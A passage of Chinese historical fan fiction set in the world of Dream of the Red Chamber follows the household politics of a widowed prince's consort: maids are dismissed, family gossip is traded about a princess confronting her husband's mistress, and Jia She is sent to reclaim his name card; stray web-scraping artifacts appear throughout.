徒嘉钰听着贾瑚这些日子的倒霉经历,对他深感同情,本来想要与他分享自己假期的快乐生活,这会儿也不忍心说了,而是拿出自己新得到的玩具与贾瑚一起分享,尤其是一套《西游记》主题的面人,他得意洋洋地说道:“我这边现在也才只有一小部分,还有很多神仙妖怪没有,不过,已经叫人加紧做了,等回头相应的积木搞出来,咱们可以用面人表演《西游记》!” 贾瑚却有些沮丧起来:“我家老爷如今盯着我的学业呢,之前我带回去的那套积木被他看见了,直接收走了,我要是再玩这些,被他知道了,还不知道要怎么训我呢!” “怕什么,难不成他还能跑到王府来不成?”徒嘉钰不以为然地说道,“而且,他难道能教你读书科举吗?回头咱们去求一下季先生,你也好好为难一下你家老爷,跟他说,他根本不懂科举,就别添乱了!” 贾瑚听得有些心动,最后还是摇了摇头,说道:“还是算了吧,真要是把我家老爷惹急了,做爹的打儿子,那是天经地义!”这会儿他看着徒嘉钰的眼神都有点羡慕起来。 不说贾瑚心中那一闪而逝的“父慈子孝”的想法,季先生听说这事之后,对贾赦那叫一个嗤之以鼻。 季先生出身科举大省,尚且能脱颖而出,对于科举之道,那是极为精通的。贾瑚说是祖籍金陵,但是以他的身份,可以在神京寄籍参加这里的科举,甚至不要脸一点,直接拿了府里的国子监名额,直接就能去考举人。 因此,季先生直接说道:“你若确定走科举之路,那就别听你父亲的。他说的那些书,闲暇时候可以看看长长见识。你就算日后要跟同窗同年往来,需要的也不是这些,回头我列个书单给你,想来以你的家世,全部搜罗来也不费多少力气。你这两年要做的是打好基础,不要急于求成,回 头你要是跟着小王爷一起去弘文馆,有什么不明白的地方?_[(,也可以回来问我!” 贾瑚赶紧道谢,心中一块大石算是放了下来。 徒嘉钰开始读书之后,徒嘉泽就闲了下来。 他以前因为身体不好,总是被限制在屋子里,如今身体好一些了,便像是去了笼头的马一般,如今等闲根本不肯留在屋里,起码也得在院子里玩,那真的是搞得沸反盈天,弄得奶娘乃至李氏都心力交瘁。 “娘娘,要不送一公子到前头跟小王爷一起读书?”玉梅如今俨然成了李氏的心腹,瞧着李氏一副垂头丧气的模样,忍不住建议道。 李氏却立马拒绝道:“他还小呢,再等两年读书也不迟!”这些日子,徒嘉泽总是跑到正院去玩,回来就说吃了什么,玩了什么,一点都不惦记她这个亲妈为了给他供奉药师佛还在吃斋茹素,反而口口声声都是“娘娘”、“哥哥”,再这样下去,这儿子还是自己的吗?必须把人跟正院隔离开来。 玉梅也有些为难,这才几天功夫,西院就已经被弄得鸡飞狗跳,光是被打碎的东西就已经不少了。原本李氏想要将人教训一下,想到年前就因为扇了他一巴掌,结果闹出生病的事情,便打消了主意。想要模仿正院的做法,在西院这边复制一下,不肯额外出钱的情况下又使唤不动府里那些匠人。 小孩子最会欺软怕硬,若是李氏如同上次一样强硬到底,徒嘉泽大概也就接受教训了,能消停一些,可是她现在投鼠忌器,光会喊叫,徒嘉泽自然发现了她的色厉内荏,还有什么好怕的,甚至还故意试探李氏的底线。 李氏如今是两面为难,又看不得徒嘉泽各种捣乱,糟践东西,又没法下手教训,只能是干瞪眼。 玉梅琢磨了一下:“那要不接了两位姑娘一起过来陪着一公子一起玩?”在玉梅看来,跟两个姑娘一起玩,总不必担心一公子被正院抢走了吧! 李氏顿时有些心动,然而,她却没想到,她自觉是纡尊降贵,但是赵氏她们几个却不这样想。 让女儿陪着徒嘉钰这个小王爷的时候做低伏小,做个乖巧的好妹妹,那她们是情愿的,不说日后如何,但是太妃娘娘指头缝里漏出来的一点好处,就足够她们趋之若鹜。 可是陪着徒嘉泽,能有什么好处!徒嘉泽别看身体不好,性子却颇为霸道。他在徒嘉钰那里很多时候都不怎么肯让他,更别说是两个姐妹了!李氏又从来都不是什么大方的人,到时候几个小孩子闹了别扭,只怕还要生出埋怨来。 因此,去的人很快就回来了,委婉地表示:“两位姑娘如今正在打络子呢,只怕一公子不喜欢!” 李氏立马就知道,这是风荷院那边的托词,只气得柳眉倒竖,啐道:“都是一帮见风使舵的混账,瞧着如今我落魄了,连我儿子也瞧不起了!” 说着,也不管徒嘉泽听不听得懂,就说道:“你那两个姐妹就是没良心的,日后她们要是有事找你,你也别理她们!” 徒嘉泽也不喜欢跟两个姐妹一起玩,她们两 个性子安静,玩的时候也放不开?[(,跟她们玩过家家还行,其他的,根本没意思!因此,胡乱答应 李氏算是挑拨了个寂寞,看着骑着竹马在院子里呼啸而过的徒嘉泽,只觉脑仁又疼了起来,好半天才说道:“我看他如今身体也不错,就将咱们院子好好收拾一下,以后日头上来了,就叫他在外头玩吧!” 玉梅点头答应了下来,心里还是有些发愁,男孩子是需要玩伴的,侧太妃不许一公子亲近正院,两位姑娘又不愿意与一公子凑一块,那一公子总不能天天在丫头婆子里头厮混。 原本按照王府的规矩,像是徒嘉泽这个年纪,就该挑几个年纪略大一点的小太监进来伺候。可如今,顾晓不喜欢用太监,府里头也就前头有几个当初伺候过先王爷的太监,如今也只是领了几样闲差,唯有需要进宫的差事,才轮得到他们出马。 至于徒嘉钰,进宫念书肯定不能带太监,有什么需求,弘文馆那里自然有人帮着安排。等他大一点,有需要了,自然可以找内务府安排。而在这之前,顾晓是不打算多这个事的! 既然徒嘉钰这个小王爷身边都没有,西院这边自然不能先开这个头。玉梅如今倒也对李氏母子有几分真心,因此便说道:“娘娘,奴婢看着一公子身边伺候的丫头年纪也渐渐大了,只怕过不了几年,也该不如选几个没留头的丫头进来先伺候着,她们也能陪着一公子玩!另外,等一公子搬到外院去,伺候的小厮也得先叫人看起来。” 李氏拉着玉梅的手,叹道:“亏得你想起来这个,我倒是一直没想起来!这事我这边说了也不算,还是得去求那位!”说着,李氏又叹了口气。 玉梅趁机劝道:“娘娘您也说了,许多事情咱们这边说了都不算,还得正院做主!如今王爷也不在了,您就低个头,那又如何呢?” 李氏没精打采地说道:“我就是一时气不过!而且,每次想到她,我就忍不住想要强她一头!” “可如今形势比人强啊!”玉梅只得继续劝道。 李氏有些不耐烦地点了点头:“行了行了,我知道了!要不是王爷走得早,我何苦这么低三下四的!” 李氏犹豫了半天,最后还是不想自己去低这个头,只得看向了玉梅,说道:“我怕我到了那边,又忍不住说出什么不该说的话来,不如玉梅你替我走这一趟吧!” 玉梅差点没晕过去,我是什么人啊,也配去跟太妃说这种事情! 李氏越想越觉得这是个好主意,这会儿她也顾不得小气了,直接从头上摘下来一根偏凤银钗,塞到玉梅手里,殷切道:“玉梅,这事就交给你了,那位一向是个要面子的,肯定不会难为你,你尽管去便是!这根钗子你先拿去,回头等你嫁人了,我再给你准备一份嫁妆!” 玉梅伺候李氏这个主子也有些心累,就算嫁妆什么的还是个画在纸上的大饼,但是到手的这根银钗却是真的。银凤钗只有七八两重,但是做工精美,是造办处的工艺,遇上识货的,没个一三十两拿不下来,是自己两年的月钱了。 玉梅也知道李氏的秉性,要是自己就这么收了,回头李氏还不定觉得自己占了多少便宜,又得让自己做些什么为难的差事,因此赶紧推脱道:“娘娘,奴婢可当不起这个,您还是收回去吧!” 李氏拔下钗子的时候也有点心疼,她原本只想摘下头那个小钗,哪知道手伸错了地方,直接将这根凤钗给拔了下来,也不好意思再插回去,只能是将错就错。瞧着玉梅战战兢兢的模样,李氏也没那么心疼了,赶紧说道:“这有什么当不起的,一根银钗罢了,不好上头,拿了压箱底也是好的!以后我这边指着你的时候多着呢,你要是不要,以后我就不好再使唤你了!” “娘娘这话说的,奴婢就是您身边的奴才,您尽管使唤就行!”玉梅也不会真的把李氏的话当真,手里收下了银钗,脸上依旧带着为难之色,叹道,“娘娘,不是我不愿意为娘娘分忧,奴婢是什么牌面上的人物,能进正院见太妃娘娘一面已经是造化,到时候就算是跟太妃娘娘说了这事,只怕太妃娘娘也不会放在心上!” 李氏忙道:“你尽管去说便是,若是不成,我再去好了!” 玉梅拿捏了半晌,这才答应下来。 …… “你是说,一公子身边需要进新人了?”顾晓也没为难玉梅,便问道,“他身边如今是有哪些人?” 玉梅早就准备好了说辞,这会儿低头说道:“娘娘容禀,一公子身边如今两个奶娘,两个一等丫头,四个一等丫头,其他粗使的丫头也有十个,粗使的婆子是跟侧太妃娘娘共用的!只是,一公子身边一等一等丫头如今最小的也已经十七八岁了,总不能一直留在屋里伺候,总该先预备起来,免得回头用起来不顺手。” “你这话说得也有道理,这府里头许多丫头也都到了年纪,上次你们院里就有好几个送出去配了人,像是你们这一拨的,只怕也留不了几年,是该从外头选一些进来了!”顾晓沉吟一番,说道,“回头就叫前头管事去庄子上选一批人进来,各个院子,也要将年纪差不多的名单给报上来,免得误了花期!” 玉梅听着心里便是一沉,府里头那些一等一等的大丫头其实未必都乐意出去嫁人,出去容易,想要再进来就难了。王府里头的缺是有限的,没了平王,府里起码十年内不会有新的主子诞生,自然不会有人员上的缺口。而等到十年之后,以前的主子都要不记得她们了,想要让自个的儿女进来补缺,都不知道要走多少门路! 之前正院从来没提这事,府里那些年纪到了的大丫头一个个只当没这回事,先占着缺,回头再想办法跟家里那些姻亲人家进行交换,可如今来了这一出,这些人的如意算盘算是打不响了,要知道始作俑者,还不把侧太妃恨死! 玉梅只觉张口结舌,一时间不知道该怎么说才好,就听顾晓说道:“你是个周全人,以后你们主子那边,你也得多费点心,明白了吗?” 玉梅只能低眉垂首,老老实实答应下来。 顾晓又叫人抓了一把钱给玉梅做赏钱,然后就叫她回去复 命。 玉梅几乎是小跑着回去的,到了李氏屋里,气还没喘匀,就草草行了一礼,口中说道:“娘娘,不好了!” 李氏一愣:“什么不好了?难道那边竟然没答应?” 玉梅忍不住跺了跺脚,说道:“不是这个缘故,正是因为太妃娘娘将事情答应下来了,这才不好了!” 李氏听得糊涂,便问道:“你仔细说说,到底怎么回事?” 玉梅苦着脸,将事情说了,然后道:“等这事传出去,那些到了年纪却不想出去的奴婢们,不恨死咱们才怪呢!” 李氏奇怪地看了玉梅一眼:“你就为这事?她们恨咱们又怎么样!人都出去了,难不成还能回来跟咱们过不去?谁要是敢跑咱们这里扎刺,到时候选人的时候就别选跟她们有关系的就行!” 李氏从来不是那种会体谅下人的性子,也没有收买人心的想法。就像是在闺中的时候,她身边的丫头都是佃户家的女儿,谁敢不好好伺候她,她一状告上去,就涨人家的租子,或者来年不把地租给人家。在这样的思维定势下,她真不觉得那些下人有什么好担心的。 玉梅顿时傻眼,你不在乎,我在乎啊!自己将来还要出府嫁人的,嫁的说不得就是那些大丫头的兄弟,这事要是传出去,自己就里外不是人了!而且,你以为留在府里的人甚至选进来的人跟那些人就一定没关系了,到时候暗地里头给你使点绊子,你都不知道怎么回事! 李氏压根没注意玉梅的脸色,她喜滋滋地站了起来,说道:“咱们这边可没谁要清出去,倒是东厢房她们几个身边好不容易养熟的丫头,如今也未必留得住了!嘿嘿,住在我眼皮子底下,还不把我放在眼里,如今倒霉了吧!我倒要看看,回头她们能分到个什么人!” 玉梅无奈地低下了头,一时间不知道该说什么才好。! 第 46 章 府里头超龄的丫头数量居然还不少,她们其实有些类似于后世那些一线二线城市里的大龄剩女,工资高,眼光也高,并不甘心随随便便就嫁了。 在府里头,哪怕是粗使的小丫头,一个月也有五百个钱的月钱,一年下来,就是好几两银子,能买一亩中田。而人市上,买一个人,也不过就是几两银子的事情。而且府里的下人,包吃包住不说,份例里头还有胭脂水粉头油,每个季节还都有两身衣裳,跑个腿什么的,还能得到一些赏赐。可以说,这几两银子,是完全可以自己攒下来的。放到外头,一个壮劳力,一年下来也未必能攒得下一两银子。 像是这些年纪都二十上下的丫头,月钱起码也得一吊钱了,平常的份例和得到的赏赐也比那些小丫头多,这些钱就算有一部分要交给家里,自个手里也能存上不少。而一旦出去配人就不一样了,得伺候婆家一家老小,还没钱拿,这分明就是个亏本的买卖。因此,不说这些丫头自己,就算她们家里,其实也是不乐意让她们早嫁的。 如今府里要清理超龄的丫头,顿时一片哀鸣,许多人想要谎报年龄,但是下头有出头希望的小丫头可不会帮着她们隐瞒,恨不得直接跑去揭发,免得挡了自己的路。 有一些摊上了还算是厚道的主子,如周氏,手里私房还算丰厚,身边丫头要出去,也会给一些衣料首饰作为嫁妆。不过即便是悭吝一些的,也不会连丫头们的私房都惦记。 不管怎么说,这是算是圆满解决了。 而新选进府里的小丫头们也已经被分派到了各处。她们这样的家生子,从小就会接受相应的培训,进来之后只要确定身上没有什么跳蚤虱子就可以进入新的工作岗位。横竖一开始进来都是干粗活的,上头那些嬷嬷大丫头也会看她们的表现,然后决定让她们日后担任什么样的职务。 正院这边,这一次也进了一批刚留头的小丫头,毕竟,春红她们几个年纪同样不小了,她们是顾晓的陪嫁,其中有几个还是有可能给顾晓做通房丫头的。只不过以前的徒宏远在正院都是应付差事一般,其他时候就是在西院和风荷院,她们几个就算曾经有心,也早就灰了心。 她们如今到了这个年纪,除了春香明确表示想要自梳留下来之外,其他人都没这个心思。她们作为顾晓的心腹,就算是嫁人,也是嫁给府里的管事,做管事娘子,比起其他那些丫头前程明朗得多。如此一来,她们也没多少心理压力,可以安心先留个一两年,将下头的人调教出来,免得以后她们出去了,新上来的使唤起来不顺手。 “春香姐,你怎么就不想出去呢?”之前几个二等如今也开始进出正房,算是慢慢与春燕她们这些人交接,因为人选还没确定下来,顾晓也没给她们改名。这个二等丫头叫翠羽,她一边帮着春香清理熨烫毡子,一边忍不住问道。 “我出去做什么?”春香指点着翠羽用鬃刷将毡子上的浮尘刷洗干净,一边说道,“我亲娘早就不在了,现在家里是后娘当家!哪怕娘娘给我安排了 婚事,但是终究要在我爹和后娘那里走一遭的,你猜到时候我还能落下多少嫁妆?女孩子出嫁,嫁妆不够丰厚,婆家都瞧不上你,到时候就算明面上不作践你,私底下还不知道如何厌弃呢!何况,我现在在娘娘身边就是管着娘娘的料子衣裳和一应铺陈,以后出去做了管事娘子,又能管什么?反正都是做奴才,我只伺候娘娘一个,不比多伺候男人一家子来得强?” 翠羽吐了吐舌头,她并非顾晓的陪嫁出身,而是顾晓进府之后分派过来的,因为一贯勤勉机灵,从粗使提做了二等,对春香的情况也不了解,这会儿L知道了,也能理解几分。 吴嬷嬷也情愿叫春香一个知根知底的一直在顾晓身边伺候,说白了,女人嫁了人,以后多半会将丈夫孩子放在前头,未必能如现在一样一心为主。吴嬷嬷年纪也不小了,精神渐短,顾晓身边许多事情也管不了,既然春香立誓不嫁自梳,吴嬷嬷就表示等回头府里除了服,就正式摆酒认春香做个干女儿L,以后自己手头的事情,就慢慢移交给春香了。 府里人事变动没多久,隆安侯夫人便来探望女儿L外孙了。 “眼看着就要入春了,若是往年,倒是可以一起去城外上香,也叫你松快一些!”哪怕顾晓这几个月下来,养好了许多,但是在隆安侯夫人眼里,依旧觉得女儿L还是瘦了,不免有些心疼。 顾晓笑道:“以后日子还长着呢,也不差这两年!妈你跟我说说京里这几个月的新鲜事呗,如今府里便是下人也出门得少,弄得我都不知道外头发生了什么事!” “新鲜事?”隆安侯夫人想了想,说道,“倒还真的有,前些日子,宁国公主带着人去捉奸,可是大闹了一场呢!” “宁国公主?”顾晓顿时一愣,赶紧说道,“她跟驸马不一直感情深厚吗?怎么闹出这样风波来!”宁国公主的驸马是治国公府的二爷马淳,两人成婚之后便都住在公主府,这些年还生了一子一女,在宗室圈子里是有名的恩爱有加。 隆安侯夫人嗤笑一声,说道:“什么感情深厚,以前是因为宁国公主的胞兄是肃王,她自个在圣上那里也得宠,所以,便是治国公府上,也都将公主捧着。但是谁叫肃王坏了事呢,自个死了不说,还被贬为庶人,一大家子都被关着,以后就算是能被放出来,那也算不得宗室了!宁国公主虽说没有被牵连,但是也没了圣宠,今年参加宫宴,连额外的赏赐都没有,座次都差点被分派到郡主那边去了。一个只有名号的无宠公主,在治国公府这样的开国勋贵那里又算得了什么!” 说着,隆安侯夫人就压低了声音,轻声说道:“我听说,去年年中的时候,驸马就回自个府上住着了,连公主的两个孩子都难得见父亲一面!” “那这个捉奸又是怎么回事?”自古以来,桃色新闻从来都是最能引起人们关注的,顾晓也不例外,这等新鲜的大瓜,现在不吃,更待何时? 隆安侯夫人冷笑一声,说道:“也是驸马自个不规矩,他要是在自家府上,弄个什么通房小妾之类的,公主也懒得多管,结果 他竟是在甜水巷置了个外室,那就是明目张胆打公主的脸了!公主不知道也就罢了,知道了,再不发作,只怕以后是个人都能踩到公主头上去了!” 驸马好歹也是公侯子弟,什么样的绝色,竟是能叫他犯了忌讳,在外头置起了外室,再不济,悄悄弄回去,养在家里,也算不得什么啊!顾晓愈发好奇起来。 ?想看微云烟波的《红楼太妃要躺平》吗?请记住[]的域名[( 实际上,这年头的贵族子弟,还真没多少沉迷女色,不能自拔的。逢场作戏可以,真动真情,却是少见。主要是他们从小到大见得多了,发育年纪对男女之事感兴趣了,长辈就会给安排一个姿色不差的丫头叫他见识一番,婚前只要不闹出什么庶长子出来,女方完全没什么可以指责的地方,就算是女方强势,这等自家的丫头,婚前给笔钱打发了也不费事。他们在外头社交,就算是不去烟花场所,在正经的茶楼酒楼,也可以请了花魁头牌一流过来陪酒侍奉。可以说,对于有些家底地贵族子弟来说,即便是好色,但也不至于被女色迷得五迷六道,做出什么出格的事情来。 隆安侯夫人嗤笑一声:“也是马家自个作孽,早早就跟宫里有了默契,要让次子尚主,肃王与宁国公主当时都得宠,马家只有趋奉的道理,因此,一直是驸马对公主做低伏小,如今公主失势,驸马便想要翻身做主了。” 隆安侯夫人显然也仔细叫人打听过内情,这会儿L说起来兴致勃勃:“我听说啊,驸马置的那个外室,来历根本不清白,所以没法子带回去。然后驸马就被那外室哄得云里雾里,竟是真的花钱将人在外头安置起来了,对左右邻居都以夫妻相称。宅子里那些奴婢,叫驸马老爷,对那外室也直接就以夫人称呼!这不是打公主的脸嘛!” “那公主怎么闹的?”顾晓急忙问道。 隆安侯夫人想到此处,就忍不住摇了摇头:“公主也是气得很了,要我说,既然那外室来历不清楚,直接拿着这个,说她不是良家。既然不是良家,自然是可以买卖的,到时候将人给买下来,怎么处置,那不还是公主说了算!结果公主竟是直接带着人打上门去,叫府里的婆子将人打得一张脸跟什么一样,又把甜水巷那宅子给砸了,还闹得左邻右舍跟着看了一场热闹!” “那驸马当时不在?”顾晓很快抓住了重点。 “就算当时不在,后来听说消息也赶过来了!结果还不等他辩解,就被公主命手下的侍卫将他打了一顿,直打得半死,丢到了治国公府门口,这次,治国公府可是丢脸丢大了!”隆安侯夫人也没想到,素来在外头显得颇为温柔贤淑的宁国公主,居然是这般不肯吃亏的脾气,她如今本来就失了宠,又闹出这等事情来,前几日就有御史上疏弹劾了。 隆安侯夫人说道御史弹劾的事情来,顾晓就忍不住说道:“他们不说驸马竟敢停妻再娶,藐视皇家,反而要弹劾公主,有失妇道?便是肃王坏了事,宁国公主也是圣上亲生的,难不成圣上竟会不护着自个女儿L,反过来袒护自己的女婿吧!” 隆安侯夫人叹道:“听你爹说,这几日御史台见天地上折子弹劾,非要圣上 惩治宁国公主不可!宁国公主也是倔强,待在公主府里,也不肯低头!” 这不是欺软怕硬嘛,要是肃王还在,御史台敢这么头铁?她想了想,忽然想到一件事,问道:之前瑚儿L说,他姑父做了监察御史,难不成他也弹劾了??” “你说的是林如海?”隆安侯夫人很快想起贾瑚的姑父是谁,她想了想,说道,“这倒是没听说!以他的出身,便是治国公府那边出力,他也未必肯做这种事!” 顾晓莫名松了口气,她还真不希望林妹妹的亲爹是个欺软怕硬的货色,想到宁国公主如今的处境,顾晓又生出了一点同情来,就马淳那样的,还不如没有呢!这年头,对于能当家做主的贵族女性来说,其实摊上一个糟心的丈夫,真不如做寡妇来得痛快!她不由叹道:“妈,那你说,宁国公主以后会怎么样?” 隆安侯夫人摇了摇头,说道:“圣心难测,谁知道呢?”这等事情,完全就要看圣上的心思,圣上若是觉得当初光是死了个肃王还不解恨,那宁国公主就算是老老实实待在自个公主府里,迟早也会被惦记上,若是圣上觉得是驸马不将公主放在眼里,也就是不将皇家放在眼里,那治国公府也得跟着倒霉。 “公主会不会是故意的啊!”顾晓忍不住压低了声音问道。毕竟,肃王死后,宁国公主便在圣上那里失了宠,与其在家等着另一只靴子不知道什么时候落地,不如闯出点祸来,看看圣上到底是个什么想法。虽说这样冒险了一些,但是圣上之前死了那么多孩子,如今也该对留下的子女多出一些宽容才对,尤其是对自身皇位没有威胁的公主。 隆安侯夫人严厉地瞪了顾晓一眼:“不可胡说!有的事情,心里可以这样想,却不能说出来,明白吗?你啊,如今在府里没有别的顾忌,竟是开始言语无忌起来!” 顾晓忍不住吐了吐舌头,拉着隆安侯夫人的胳膊说道:“我就是随口一猜嘛,真不是故意的!” “行啦,记着就好!你又不是以后只在王府的圈子里过日子,还是要跟宗室,跟宫里打交道的,谨言慎行永远不会错,明白没有?”隆安侯夫人心一软,但还是再次告诫道。 顾晓小鸡啄米一样连连点头,又叹道:“以前竟是不知道宁国公主是这样的脾气,早知如此,倒是该结交一二的!” “你这丫头,也不看看情况!先平王毕竟是死于宫变,肃王也是参与者之一,你那些妯娌,不知道多少恨着宁国公主呢,你贸然跳出来,是嫌自己日子太好过吗?”隆安侯夫人顿时觉得自己之前不该心软的,她几乎是在顾晓耳边说道,“知道你觉得宁王没了,自己反倒是自在了,但是,在外头,你还得表现出一副伤痛的模样,要不然的话,以后有你好果子吃!” 顾晓悚然一惊,看向了隆安侯夫人,惊讶道:“我表现这么明显吗?” 隆安侯夫人没好气道:“怎么不明显,你如今这气色,简直像是在家的时候一样,跟之前那几年,就是两个人!要不是你是我亲生的,我都要怀疑你换了个人了!” 这话 说得顾晓有些心虚,只得抱着隆安侯夫人的胳膊撒娇道:“我就是前些年过得太憋屈了嘛,我听说,男人到了中年,就盼着升官发财死老婆……” 隆安侯夫人连忙嗔道:“才要你谨言慎行,又口无遮拦了!原本我还以为可以放心你了,现在看起来,我真是放心太早了!” 顾晓讪笑一声,说道:“这不是在自个家里嘛!” “自个家里也不行!”隆安侯夫人愈发没好气起来,“早知道不该跟你说这些事情,就该让你什么!” 顾晓忙说道:“妈,你就跟我说嘛,除了这事,还有别的吗?” 隆安侯夫人就算是知道,也不想再跟顾晓说了,直接推脱道:“我哪里像是你,如今倒是轻松自在,我还管着一家子的事情,你两个嫂子都是不中用的,我这把年纪了,还要为儿L孙辈操心……”说着,都忍不住发起牢骚来。 顾晓有点慌,因为自己俨然是□□心的那个,只得在一边插科打诨说道:“有道是养儿L一百岁,长忧九十九嘛!妈你看我现在这样,就算是女儿L七老八十了,也得妈你帮着看着呢!” “等你七老八十,我都一百多了,那不是老妖精了!”隆安侯夫人被哄得高兴了,又忍不住啐道。 “那什么老妖精,那就是老寿星,是我们这些儿L女的福气!”顾晓笑道。 隆安侯夫人见顾晓如今如同在闺中一般开朗,也是心中安慰,当初女儿L出嫁之后过得不好,她跟丈夫不知道暗地里头埋怨了多少次,早知道这样,不如早早就给女儿L定个知根知底的人家,就算没有皇家富贵,起码日子过得顺心称意。好在总算是守得云开见月明,虽说这样说不太好,但是隆安侯夫人还是感谢平王死得正是时候。 经不起顾晓的缠磨,隆安侯夫人只得又挑拣着说了几件最近京中发生的大事,比如说礼部侍郎与太常寺少卿丞两家结了亲,以后就是儿L女亲家。东城那边养生堂元宵节前夕不慎走水,烧了不少屋子,一些孩子没了着落,顺天府帮着修缮房屋的时候又倡议京中官员富户可以在养生堂领养几个孩子,也算是积德行善,也不知道后来有几个孩子被领养了。崇福寺了尘大师宣布自己要外出云游,将住持之外传给师弟了缘…… 这些消息比起之前驸马出轨,公主捉奸来,就太平淡了,顾晓听得都觉得有些无趣,谁想知道这些事情啊,一点刺激的都没有。 见女儿L听得无聊,隆安侯夫人忽然想起来一件事,说道:“瑚哥儿L过来难道没跟你说,他们府上那个贾敬,说是要出家了!” 顾晓一愣:“啊?瑚儿L没说过啊!不过,他隔壁伯父的事情,应该也不会跟他说吧!” “这倒也是!”隆安侯夫人点了点头,不过还是说道,“我听你爹说,贾敬说是出家修道,实际上就是为了保住宁国府的爵位!之前的事情他掺和得有点深,要不是有祖上的遗泽还有先荣国公的功劳,根本就别想脱身!只是,他之后再想要在仕途上有所作为是不可能了,甚至还会连累儿L孙,这才想要出 家,将他们府上的爵位传给他儿L子!” “他这样真能行?”顾晓疑惑道,“我听人说,贾敬就一个儿L子,似乎也是个不成器的,他就不怕自个出家了,他儿L子把家业给败了?” 隆安侯夫人看了顾晓一眼,叹道:“两害相较取其轻,他要是不肯退这一步,宁国府说不定都没法传到下一代了,还能被儿L子败了家业?” 顾晓这下明白了,怪不得贾敬后来哪怕贾珍再胡作非为,也没回来,自个还把自己给折腾死了,看样子,也是破罐子破摔。 “那两府的事情乱糟糟的,虽说有你表姐在,但是以后他们两府的事情,你少掺和,明白没有?”隆安侯夫人最是不喜欢这等风气不正的人家,以前还算是过得去,贾代善一走,竟是有了些江河日下的意思。 “那表姐那边以后可就难过了!”顾晓跟着叹道。 隆安侯夫人摇了摇头,说道:“他们府里爵产分离,对于你表姐他们那一房来说,未必不是好事!到时候直接分门别院,撕扯干净,以后荣国府有什么污糟事情,他们那一房最多就是个管家不严的罪过!” 顾晓说道:“就怕他们那一房好处没沾到,等有了罪过,仗着袭爵的是大房,都让大房背去!” 隆安侯夫人顿时有些不确定起来,她沉吟一番:“瞧荣国府那位老太君的偏心模样,这事未必没有可能,那贾赦也不是什么能安分守己的人,别到时候又连累了你表姐和两个孩子,回头我得找个人跟她说一声,叫她将贾赦看紧了!” 想到这一层,隆安侯夫人就急了,张家如今不在,他们这些做亲戚的也只能多护着点,回头也有个交代。! 第 47 章 宁荣二府真的风气愈发败坏,其实也是到了后来的事情了。如今贾敬还没真的出家,只是刚趁着开印上了折子,要等圣上批复了再说。何况,贾敬就算是真的出家了,余威还在,府里头还有他媳妇呢,贾珍一时半会儿还翻不出什么风浪来。总要等到他确定贾敬不管事了,又能糊弄得住他老娘,然后就可以胡作非为了。 隆安侯夫人不过是叫人给张氏传了个口信过去,张氏便明白了隆安侯夫人的担忧。 从小生活在底线比较高人家的孩子,是很难想象那些底线比较低的人家会做出什么样的事情的。宁荣二府显然是那种底线并不高的人家。嘴上喊着怜贫惜弱,但是后来满府都知道王熙凤放印子钱的情况下,大家都没有劝导的意思,便是贾史氏也就当这事是给喜欢的孙媳妇的一项福利。 张氏嫁过来多年,娘家遭难之后,就算是看破了贾家光鲜外表下隐藏的势利与冷酷。他们真的做得出李代桃僵、移祸江东的事情来。 张氏想了想,便往贾赦屋里而去。 他们两口子如今住的是荣国府的旧宅,贾赦一时赌气,直接连门都给封上了,大房如今跟另立门户差不多。贾史氏也心虚,免了贾赦与张氏两口子的日常请安,只需要初一十五过去也就罢了。 若是之前,张氏还得推脱一番,如今张氏坦然接受,你都明说要跟着小儿子过日子,把整个荣国府分给小儿子了,还指望我们夫妻两个晨昏定省,继续给你做孝子贤孙,天底下哪有这么好的事情! 自家单门独院,大房这边,张氏又趁机借着贾赦的手,清理了一批人,如今这东院就变得安全多了,起码不会有下人公然探头探脑,给荣禧堂那边通风报信。 当然,这也给了贾赦胡作非为的本钱。像是这会儿,又是孝期,又是青-天-白-日的,贾赦就在自个屋里跟一个丫头动手动脚。 听到外头守着的人喊着:“老爷,太太来了!”那丫头惊得想要躲避,却被贾赦一把捉住,手往小衣里面一伸,调笑道:“你躲什么,正好给你太太端杯茶,过了明路,以后也伺候太太!” 张氏走进来,正好听到这句话,她也不动气,她都两个儿子了,如今年纪也不小了,没必要再冒生育的风险,就算贾赦有再多姬妾、儿女,也威胁不到他们母子的地位。因此,张氏只是说道:“老爷若是忙完了,不如听我说几句,免得回头缇骑都上门了,老爷还不知道怎么回事呢!” 贾赦吓了一跳,直接将那丫头往旁边一推,差点没将她摔个跟头。那丫头脸色通红,又羞又怕,赶紧给贾赦和张氏行了个礼,就忙不迭跑了出去。 贾赦看着人跑了,才看向了张氏,急道:“你说什么?怎么又说到缇骑了?难不成你听到了什么消息?” 张氏冷笑道:“老爷居然还知道担心?你要是继续这般一味高乐,那不是迟早的事吗?” 听张氏这般说,贾赦略微松了松神,不过还是继续问道:“太太这话怎么说的,我窝在家里, 难不成还能再惹出什么祸事来不成!” 张氏直接问道:老爷的一等将军印和名帖在哪里??[(” 贾赦一愣,然后从书桌下的抽屉里将一枚铜印取了出来,然后说道:“印在这里呢,倒是名帖,之前老太太要过去了!” 张氏冷笑道:“老太太如今要这名帖有什么用,只怕早落到二房手里了。回头二房拿了你的名帖,盖上荣禧堂的印,办了什么事情,你说到时候是找你还是找二房呢?” 贾赦并不傻,一下子从椅子上站了起来,拧起了眉头,气道:“好哇,原来在这里等着老爷我呢!老二这个假正经,就知道仗着老太太,我得去把名帖要回来!”说着,就往外头走。 张氏也没拦他,这种事情,张氏没法去找贾史氏,就得叫贾赦去。贾赦如今是破罐破摔,如果说以前还有着典型公侯子弟的矜持与傲气的话,如今被贾史氏几次三番地PUA,他已经“进化”成了一个无赖。而对付贾史氏,孝顺只会成为她拿捏你的工具,只有你足够无赖不要脸,才能在她那里占到一定的上风。 贾赦气势汹汹地叫人套了车往荣庆堂那边而去,路过荣禧堂的时候,贾赦眼神里的怨毒简直是藏都藏不住,胸中怒气更甚,就这样气势汹汹地往贾史氏那边而去。 贾史氏正带着元春认珠宝首饰,如果说后来的三春养在贾史氏那里,就跟养了只猫儿狗儿一样的话,如今的元春在贾史氏这里,也就比她当年教养贾敏略差一些。 元春生的时辰好,又长得粉雕玉琢一般,贾史氏也相信这个孙女是个有造化的,因此,乐得在元春身上花费一些精力。这会儿听着元春奶声奶气地辨认珍珠玛瑙翡翠之类的,贾史氏听得直乐呵,笑道:“元丫头过两年也该留头了,到时候祖母给你用这些各打造一套头面戴着玩!” 元春没听明白,旁边奶娘却是听明白了,连忙拉着元春给贾史氏行礼道谢。贾史氏笑道:“这值当什么,以后我这些东西,不都是你们的!” 这边正说笑呢,外头就到有丫头喊道:“大老爷,老太太在屋里呢,您就算是想来给老太太请安,也得等我们先传个话不是!” 